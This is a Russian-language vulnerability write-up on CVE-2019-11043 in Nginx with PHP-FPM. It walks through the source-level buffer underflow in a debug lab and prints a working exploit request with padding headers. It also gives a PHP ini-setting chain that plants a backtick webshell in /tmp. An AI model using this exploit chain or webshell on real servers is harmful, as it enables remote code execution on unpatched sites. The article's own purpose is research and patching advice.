Недавно была обнаружена опасная уязвимость в связке из Nginx и PHP-FPM, которая нередко встречается на веб-серверах. Появившийся эксплоит позволяет изменить настройки PHP путем внедрения переменных окружения, а цепочка таких настроек приведет к удаленному выполнению кода. Давайте разбираться в уязвимости в PHP-FPM Nginx и узнаем где накосячили разработчики PHP.
Еще по теме: Эксплуатация бэкдора PHP
Впервые аномальное поведение было обнаружено Андреем @d90pwn Данау во время квалификации Real World CTF 2019. Сервер странно реагировал на отправленный в URL символ перевода строки (%0a). Этой идеей заинтересовались Омар @beched Ганиев и Эмиль @neex Лернер. Эмиль разобрался, почему так происходит, нашел способ эксплуатации и написал рабочий эксплоит, а Омар довел этот баг до получения RCE.
Суть проблемы сводится к тому, что в некоторых конфигурациях FPM хакер может выполнить атаку типа buffer underflow и осуществить запись в адресное пространство, зарезервированное для данных протокола FastCGI. Это позволит выполнять произвольные команды на удаленной системе.
Уязвимость получила идентификатор CVE-2019-11043 и провокационное для русскоязычного человека название PHuiP-FPizdaM. Для эксплуатации злоумышленику не нужно никаких прав, поэтому уязвимость PHP-FPM Nginx имеет критический статус. Проблема присутствует в обеих ветках PHP — 5 и 7, однако ввиду особенностей оптимизации эксплуатация возможна только в PHP седьмой версии.
Уязвимость затрагивает версий:
- PHP ветки 7.1.x — все версии ниже 7.1.33
- PHP ветки 7.2.x — все версии ниже 7.2.24
- PHP ветки 7.3.x — все версии ниже 7.3.11
Стенд
Для начала нам необходим стенд. В моем случае будет использоватся уже полюбившиеся контейнеры Docker. Если не хотите мудохотся с отладкой, тогда можно просто запустить готовое окружение с vulhub.
docker-compose.yml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
version: '2' services: nginx: image: nginx:1 volumes: - ./www:/usr/share/nginx/html - ./default.conf:/etc/nginx/conf.d/default.conf depends_on: - php ports: - "8080:80" php: image: php:7.2.10-fpm volumes: - ./www:/var/www/html |
Запускается простой командой: docker-compose up -d.
Я хочу посмотреть на уязвимость поближе, поэтому давайте собирем PHP из исходников. Для начала стартуем Debian.
1 2 |
$ docker run --rm -ti --cap-add=SYS_PTRACE --security-opt seccomp=unconfined --name=phprce --hostname=phprce -p80:80 debian /bin/bash $ apt update |
Теперь надо позаботиться об установке нужных пакетов.
1 |
$ apt install -y build-essential git autoconf automake libtool re2c bison libxml2-dev libgd-dev curl gdb libssl-dev nginx vim nano |
Вытяним последнюю уязвимую версию php — 7.3.10.
1 2 3 |
$ cd ~ $ git clone --depth=1 --branch PHP-7.3.10 https://github.com/php/php-src.git $ cd php-src |
Настроем PHP с поддержкой php-fpm.
1 2 |
$ ./buildconf --force $ ./configure --enable-debug --enable-fpm --with-openssl --with-fpm-user="www-data" --with-fpm-group="www-data" |
Теперь зайемемся компиляцией и установкой. Здесь все тривиально.
1 2 |
$ make $ make install |
Меняем имена стандартных конфигурационных файлов.
1 2 |
$ mv /usr/local/etc/php-fpm.conf.default /usr/local/etc/php-fpm.conf $ mv /usr/local/etc/php-fpm.d/www.conf.default /usr/local/etc/php-fpm.d/www.conf |
После этого изменяем путь до папки, где находятся конфиги.
1 |
$ sed -s -i 's/=NONE/=\/usr\/local/' /usr/local/etc/php-fpm.conf |
В конфиге php-fpm (/usr/local/etc/php-fpm.d/www.conf) настраиваем количество дочерних процессов. Чтобы было проще отлаживать, рекомендую поставить 1.
1 2 |
pm = static pm.max_children = 1 |
Теперь дело за файлами конфигурации для Nginx.
/etc/nginx/sites-enabled/default
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
server { listen 80 default_server; listen [::]:80 default_server; root /var/www/html; index index.html index.php; server_name _; location ~ [^/]\.php(/|$) { fastcgi_split_path_info ^(.+?\.php)(/.*)$; include fastcgi_params; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; fastcgi_param PATH_INFO $fastcgi_path_info; fastcgi_param PATH_TRANSLATED $document_root$fastcgi_path_info; fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; } } |
В fastcgi_pass указан адрес нашего PHP-FPM, по умолчанию он висит на 9000 порту. Некоторые части конфига я поясню в процессе разбора уязвимости.
Затем нужно создать файл PHP в корне веб-сервера (/var/www/html/). Тут подойдет даже пустой скрипт, главное, чтобы он имел расширение .php, и Nginx отправлял его к PHP. Я создал index.php, который выводит приветствие.
/var/www/html/index.php
1 2 |
<?php echo 'Hi there!'; |
Теперь все готово, можно запускать Nginx.
1 |
$ service nginx start |
А затем и PHP-FPM через отладчик.
1 |
$ gdb --args php-fpm --nodaemonize |
Для GDB включаем возможность отлаживать дочерние процессы и стартуем сервис.
1 2 |
set follow-fork-mode child r |
Детали уязвимости
Первым делом заглянем в коммит, который патчит уязвимость.
/php-src-php-7.3.10/sapi/fpm/fpm/fpm_main.c
1 2 |
1151: path_info = env_path_info ? env_path_info + pilen - slen : NULL; 1152: tflag = (orig_path_info != path_info); |
/php-src-php-7.3.11/sapi/fpm/fpm/fpm_main.c
1 2 |
1151: path_info = (env_path_info && pilen > slen) ? env_path_info + pilen - slen : NULL; 1152: tflag = path_info && (orig_path_info != path_info); |
Как видишь, добавлены дополнительные проверки для переменных path_info и tflag. В этой части кода происходит обработка путей вида /info.php/test.
Поставим брекпоинт чуть выше запатченных строк, на строке 1143, и попробуем отправить GET-запрос с байтом переноса строки (%0a).
1 |
http://phprce.vh/index.php/path%0Ainfo.php |
/php-src-php-7.3.10/sapi/fpm/fpm/fpm_main.c
1 2 3 4 |
1141: int ptlen = strlen(pt); 1142: int slen = len - ptlen; 1143: int pilen = env_path_info ? strlen(env_path_info) : 0; 1144: int tflag = 0; |
Разумеется, сначала URL попадает в Nginx. Напомню строчку из конфига.
default
1 2 |
location ~ [^/]\.php(/|$) { fastcgi_split_path_info ^(.+?\.php)(/.*)$; |
Переданный байт переноса строки ломает логику регулярного выражения в директиве fastcgi_split_path_info. В результате переменная env_path_info принимает пустое значение, и pilen становится равной 0. Затем на основе этих значений высчитывается path_info.
/php-src-php-7.3.10/sapi/fpm/fpm/fpm_main.c
1 |
1151: path_info = env_path_info ? env_path_info + pilen - slen : NULL; |
Когда запрашиваемый файл не найден, PHP-FPM идет выше по URI и пытается заново отправить запрос на вышестоящий скрипт, если таковой имеется. Определяется по знакам /. Таким образом, если я запрошу http://phprce.vh/index.php/info.php, то отработает скрипт index.php, так как info.php у меня отсутствует.
/php-src-php-7.3.10/sapi/fpm/fpm/fpm_main.c
1 2 3 4 5 6 7 8 9 10 11 12 13 |
1113: if (script_path_translated && 1114: (script_path_translated_len = strlen(script_path_translated)) > 0 && 1115: (script_path_translated[script_path_translated_len-1] == '/' || 1116: (real_path = tsrm_realpath(script_path_translated, NULL)) == NULL) 1117: ) { 1118: char *pt = estrndup(script_path_translated, script_path_translated_len); 1119: int len = script_path_translated_len; 1120: char *ptr; 1121: 1122: if (pt) { 1123: while ((ptr = strrchr(pt, '/')) || (ptr = strrchr(pt, '\\'))) { 1124: *ptr = 0; 1125: if (stat(pt, &st) == 0 && S_ISREG(st.st_mode)) { |
Поэтому есть две переменные: script_path_translated — это полный URI, и pt — путь до скрипта выше. В нашем случае они имеют длину 37 (0x25) и 23 (0x17) байта соответственно.
- script_path_translated — /var/www/html/index.php/path\ninfo.php
- pt — /var/www/html/index.php
На основе этих переменных считается slen.
/php-src-php-7.3.10/sapi/fpm/fpm/fpm_main.c
1 2 3 4 |
1119: int len = script_path_translated_len; ... 1141: int ptlen = strlen(pt); 1142: int slen = len - ptlen; |
А затем высчитывается path_info.
/php-src-php-7.3.10/sapi/fpm/fpm/fpm_main.c
1 |
1151: path_info = env_path_info ? env_path_info + pilen - slen : NULL; |
Сейчас в выражении env_path_info + pilen — slen, только slen отлична от нуля (0xe). Поэтому path_info будет указывать не туда куда нужно, а на адрес, который располагается выше. В моем случае это строка 200 по адресу 0x555556618672. Такая уязвимость называется buffer underflow.
1 |
0x555556618680 (реальный адрес значения path_info) - 0x0e (slen) = 0x555556618672 |
Если посмотреть на код функции init_request_info дальше, то увидим любопытный кусок.
/php-src-php-7.3.10/sapi/fpm/fpm/fpm_main.c
1 |
1161: path_info[0] = 0; |
Так как мы управляем длиной slen, то сможем записать null-байт в любую позицию выше PATH_INFO. Чтобы понять, что из этого можно извлечь, нужно разобраться, как PHP-FPM работает с переменными окружения. Если посмотреть код чуть дальше, то мы увидим, что там устанавливается одна из них — ORIG_SCRIPT_NAME.
/php-src-php-7.3.10/sapi/fpm/fpm/fpm_main.c
1 |
1165: FCGI_PUTENV(request, "ORIG_SCRIPT_NAME", orig_script_name); |
Функция FCGI_PUTENV инициализирована как fcgi_quick_putenv.
/php-src-php-7.3.10/main/fastcgi.h
1 2 |
41: #define FCGI_PUTENV(request, name, value) \ 42: fcgi_quick_putenv(request, name, sizeof(name)-1, FCGI_HASH_FUNC(name, sizeof(name)-1), value) |
Если ты посмотришь на её код, то увидишь, что она напрямую модифицирует req->env.
/php-src-php-7.3.10/main/fastcgi.c
1 2 3 4 5 6 7 8 9 |
1705: char* fcgi_quick_putenv(fcgi_request *req, char* var, int var_len, unsigned int hash_value, char* val) 1706: { 1707: if (val == NULL) { 1708: fcgi_hash_del(&req->env, hash_value, var, var_len); 1709: return NULL; 1710: } else { 1711: return fcgi_hash_set(&req->env, hash_value, var, var_len, val, (unsigned int)strlen(val)); 1712: } 1713: } |
Эта конструкция инициализируются в самом начале работы с запросом функцией fcgi_hash_init.
/php-src-php-7.3.10/main/fastcgi.c
1 2 3 4 |
880: fcgi_request *fcgi_init_request(int listen_socket, void(*on_accept)(), void(*on_read)(), void(*on_close)()) 881: { ... 910: fcgi_hash_init(&req->env); |
/php-src-php-7.3.10/main/fastcgi.c
1 2 3 4 5 6 7 8 9 10 11 12 |
256: static void fcgi_hash_init(fcgi_hash *h) 257: { 258: memset(h->hash_table, 0, sizeof(h->hash_table)); 259: h->list = NULL; 260: h->buckets = (fcgi_hash_buckets*)malloc(sizeof(fcgi_hash_buckets)); 261: h->buckets->idx = 0; 262: h->buckets->next = NULL; 263: h->data = (fcgi_data_seg*)malloc(sizeof(fcgi_data_seg) - 1 + FCGI_HASH_SEG_SIZE); 264: h->data->pos = h->data->data; 265: h->data->end = h->data->pos + FCGI_HASH_SEG_SIZE; 266: h->data->next = NULL; 267: } |
Здесь видим, что req->env — это структура fcgi_data_seg.
/php-src-php-7.3.10/main/fastcgi.c
1 2 3 4 5 6 |
188: typedef struct _fcgi_data_seg { 189: char *pos; 190: char *end; 191: struct _fcgi_data_seg *next; 192: char data[1];а 193: } fcgi_data_seg; |
В этой структуре хранятся глобальные переменные необходимые для коммуникации процесса PHP-FPM и веб-сервера (в моем случае — Nginx). Здесь pos указывает на адрес текущего буфера, end на адрес, где он заканчивается, а data — на то место, куда нужно записывать данные. Когда блок памяти, выделенный под структуру, заканчивается (pos больше end), то создается новая, а адрес текущей записывается в next.
Например, вот так выглядит эта структура для текущего запроса и данные, которые в ней хранятся.
Там находится и наш PATH_INFO. Обрати внимание на адреc pos, он расположен выше, поэтому можно установить указатель на него и записать туда null-байт.
Но сначала необходимо создать новую структуру fcgi_data_seg. Для этого нужно заполнить свободную память в текущем блоке. Если я буду добавлять символы в путь, то будет меняться и slen. Если еще раз глянуть конфиг Nginx, то мы увидим там QUERY_STRING. В моей конфигурации она объявляется раньше, чем PATH_INFO, а значит и в памяти будет располагаться выше.
/etc/nginx/fastcgi_params
1 2 3 |
fastcgi_param QUERY_STRING $query_string; fastcgi_param REQUEST_METHOD $request_method; ... |
Поэтому основной мусор передам через параметры к скрипту. Идея в следующем — нужно, манипулируя частями URL, добиться такой ситуации, когда значение PATH_INFO попадает в новый блок памяти. Тогда между адресом значения PATH_INFO и новым request.env.data.pos будет 34 байта.
Так как мы точно знаем это значение, то можем использовать buffer underflow. С его помощью поставим указатель path_info на request.env.data.pos. У меня получился следующий URL, в твоем случае он может быть другим из-за разницы в адресации памяти. Разница будет в количестве символов А.
1 |
http://phprce.vh/index.php/anything%0Athis_value_you_can_see;?AAAAAAA... |
Дальше идет еще 1750 букв «A». Не буду приводить их все, чтобы не было похоже на твиттер в день появления смешного мема.
Установим брекпойинт на строку, где происходит запись null-байта (b fpm_main.c:1161) и отправим запрос. Теперь path_info указывает на адрес 0x5555566194a0, а это и есть request.env.data.pos.
Сделаем шаг вперед и посмотрим на состояние структуры теперь.
Указатель pos изменился, теперь он имеет значение 0x555556619400. Дальше, как ты уже знаешь, происходит вызов FCGI_PUTENV и добавляется строка ORIG_SCRIPT_NAME и контролируемое нами значение из orig_script_name.
/php-src-php-7.3.10/sapi/fpm/fpm/fpm_main.c
1 |
1165: FCGI_PUTENV(request, "ORIG_SCRIPT_NAME", orig_script_name); |
Итак, теперь можно добавлять свои переменные. Нас интересует PHP_VALUE. С ее помощью можно менять настройки PHP.
/php-src-php-7.3.10/sapi/fpm/fpm/fpm_main.c
1 2 3 4 5 6 7 8 |
1336: ini = FCGI_GETENV(request, "PHP_VALUE"); 1337: if (ini) { 1338: int mode = ZEND_INI_USER; 1339: char *tmp; 1340: spprintf(&tmp, 0, "%s\n", ini); 1341: zend_parse_ini_string(tmp, 1, ZEND_INI_SCANNER_NORMAL, (zend_ini_parser_cb_t)fastcgi_ini_parser, &mode); 1342: efree(tmp); 1343: } |
Только вот не все так просто. PHP-FPM хранит каждую переменную окружения в структуре fcgi_hash_bucket.
/php-src-php-7.3.10/main/fastcgi.c
1 2 3 4 5 6 7 8 9 |
172: typedef struct _fcgi_hash_bucket { 173: unsigned int hash_value; 174: unsigned int var_len; 175: char *var; 176: unsigned int val_len; 177: char *val; 178: struct _fcgi_hash_bucket *next; 179: struct _fcgi_hash_bucket *list_next; 180: } fcgi_hash_bucket; |
Все они хранятся в fcgi_hash_buckets, и в отладчике их можно посмотреть командой p *request.env.buckets.
/php-src-php-7.3.10/main/fastcgi.c
1 2 3 4 5 |
182: typedef struct _fcgi_hash_buckets { 183: unsigned int idx; 184: struct _fcgi_hash_buckets *next; 185: struct _fcgi_hash_bucket data[FCGI_HASH_TABLE_SIZE]; 186: } fcgi_hash_buckets; |
Здесь можно обнаружить добавленную нами переменную.
Наверное, ты уже заметил проблему: целостность структуры нарушена. Как минимум не совпадают длина переменной (var_len) и её значения (val_len). PHP-FPM выполняет проверку целостности и такого жесткого вмешательства не потерпит.
Заглянем в FCGI_GETENV.
1 2 3 |
/php-src-php-7.3.10/main/fastcgi.h 38: #define FCGI_GETENV(request, name) \ 39: fcgi_quick_getenv(request, name, sizeof(name)-1, FCGI_HASH_FUNC(name, sizeof(name)-1)) |
/php-src-php-7.3.10/main/fastcgi.c
1 2 3 4 5 6 |
1687: char* fcgi_quick_getenv(fcgi_request *req, const char* var, int var_len, unsigned int hash_value) 1688: { 1689: unsigned int val_len; 1690: 1691: return fcgi_hash_get(&req->env, hash_value, (char*)var, var_len, &val_len); 1692: } |
Сначала происходит вызов FCGI_HASH_FUNC. Функция подсчитывает хеш на основе некоторых данных переменной окружения.
/php-src-php-7.3.10/main/fastcgi.h
1 2 3 4 5 6 |
31: #define FCGI_HASH_FUNC(var, var_len) \ 32: (UNEXPECTED(var_len < 3) ? (unsigned int)var_len : \ 33: (((unsigned int)var[3]) << 2) + \ 34: (((unsigned int)var[var_len-2]) << 4) + \ 35: (((unsigned int)var[var_len-1]) << 2) + \ 36: var_len) |
Я хочу добавить PHP_VALUE. Подсчитаем ее хеш:
1 |
('_'<<2) + ('U'<<4) + ('E'<<2) + 9 = 2025 |
Нужно найти название, которое будет давать такой же хеш. Добавлять переменные можно используя хидеры в запросе. Если передать любое незарезервированное имя, то к нему добавится префикс HTTP_.
Исходя из формулы, первое значение будет равно (‘P’ << 2) = 320 и длина должна быть равна 9 (как у PHP_VALUE).
1 2 |
320 + x + y + 9 = 2025 x + y = 1696 |
Естественно, возможных вариантов очень много. Возьмем, например, SLUT. Теперь, когда мы заменим этот добавленный заголовок на переменную PHP_VALUE, все проверки будут пройдены.
/php-src-php-7.3.10/main/fastcgi.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
386: static char *fcgi_hash_get(fcgi_hash *h, unsigned int hash_value, char *var, unsigned int var_len, unsigned int *val_len) 387: { 388: unsigned int idx = hash_value & FCGI_HASH_TABLE_MASK; 389: fcgi_hash_bucket *p = h->hash_table[idx]; 390: 391: while (p != NULL) { 392: if (p->hash_value == hash_value && 393: p->var_len == var_len && 394: memcmp(p->var, var, var_len) == 0) { 395: *val_len = p->val_len; 396: return p->val; 397: } 398: p = p->next; 399: } 400: return NULL; 401: } |
Остается только точно попасть в адрес. Для этого воспользуемся еще одним заголовком, который будет выполнять роль паддинга. Он будет подталкивать переданную строку в нужное место. Обрати внимание, что он должен быть перед заголовком Slut. Если посмотреть память, то там хидеры располагаются в том же порядке, в котором были переданы в запросе.
Для теста я возьму опцию session.auto_start=1. Если она будет внедрена, то сервер вернет cookie с сессией. У меня получился такой реквест. Для перебора я просто добавлял символы a в Pimp, и результат контролировал через отладчик с помощью p request.env.buckets.
1 2 3 4 5 6 |
GET /index.php/PHP_VALUE%0Asession.auto_start=1;;;?AAAAAAA… HTTP/1.1 Content-Length: 11 Host: phprce.vh Connection: close Pimp: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Slut: was here |
1750 букв «А» здесь снова опущены. Отправляем и наблюдаем в ответе хидер Set-Cookie, а значит пейлоад отработал успешно.
Эта опция действительна, пока работает воркер PHP-FPM, который был проэксплуатирован.
Теперь осталось найти цепочку гаджетов из настроек PHP, которые будут давать выполнение кода. Вот что предлагают авторы эксплоита:
attack.go
1 2 3 4 5 6 7 8 9 10 11 |
var chain = []string{ "short_open_tag=1", "html_errors=0", "include_path=/tmp", "auto_prepend_file=a", "log_errors=1", "error_reporting=2", "error_log=/tmp/a", "extension_dir=\"<?=`\"", "extension=\"$_GET[a]`?>\"", } |
- short_open_tag=1 — включает короткую форму записи PHP-тегов;
- include_path=/tmp — указывает директорию /tmp, в которой PHP будет искать файлы;
- auto_prepend_file=a — файл с именем а будет автоматически обрабатываться перед вызовом любого скрипта;
- log_errors=1 — включает логирование ошибок;
- error_reporting=2 — включает уровень логирования ошибок (E_WARNING);
- error_log=1 — ошибки будут также логироваться в файл a;
После того как все директивы будут установлены, PHP создаст во временной директории /tmp файл a. В него попадет ошибка, которая в конечном счете будет иметь вид:
1 |
<?=`$_GET[a]`?> |
То есть это вебшелл через бектики. Разумеется, каждую директиву нужно отправлять отдельным запросом. В итоге мы имеем удаленное выполнение команд.
Оригинальный эксплоит, написанный Эмилем, ты можешь скачать на гитхабе.
Заключение
Сегодня я разобрал одну из самых интересных уязвимостей за последнее время. Здесь прекрасно все: от обнаружения до написания полноценного эксплоита с критическим импактом. Это отличный пример того, как превратить аномалию в полноценно работающий вектор атаки. Для этого нужно понимать механизм работы исследуемого приложения и усердно ресерчить.
Найденная уязвимость в очередной раз доказывает, что даже в таких крупных продуктах, как PHP, еще полно необнаруженных уязвимостей.
Хотя здесь и имеется определенный список начальных условий, не стоит думать, что они не встречаются в дикой природе. Совсем наоборот. Nginx — штука гибкая и существует огромное количество заведомо уязвимых конфигов. Плюс ко всему разработчики любят копировать готовые настройки друг у друга, не проводя даже минимальный их анализ. Это тоже не прибавляет безопасности.
К слову, дефолтный конфиг Ubuntu 18.04 от падения в пучину RCE отделяет всего одна строка — try_files $fastcgi_script_name =404;.
Если ее убрать, то получаем уязвимую среду. А это не такой уж и редкий случай. Представь, что Nginx и PHP-FPM находятся на разных машинах. Такая схема довольно часто используется в продакшене.
Есть еще несколько конфигураций, когда в fastcgi_split_path_info используется более жесткое регулярное выражение, но эксплуатация все еще возможна. Советую посмотреть пулл реквест самого Эмиля. Если хочешь еще глубже копнуть в этом направление, то начни с разбора уязвимости, которую нашел Оранж Цай. У него тоже есть несколько дополнительных способов оптимизировать эксплоит.
Что касается патча, то разработчики довольно быстро отреагировали на инцидент и залатали брешь. Но так как дистрибутивы PHP не так часто обновляются на серверах, то в ближайшее время будет еще множество потенциально уязвимых продуктов. Так что не зевай, следи за обновлениями дистрибутивов и своевременно накатывай патчи! Особенно те, которые повышают безопасность.
Большой респект aLLy!
Еще по теме: Как искать уязвимости сайтов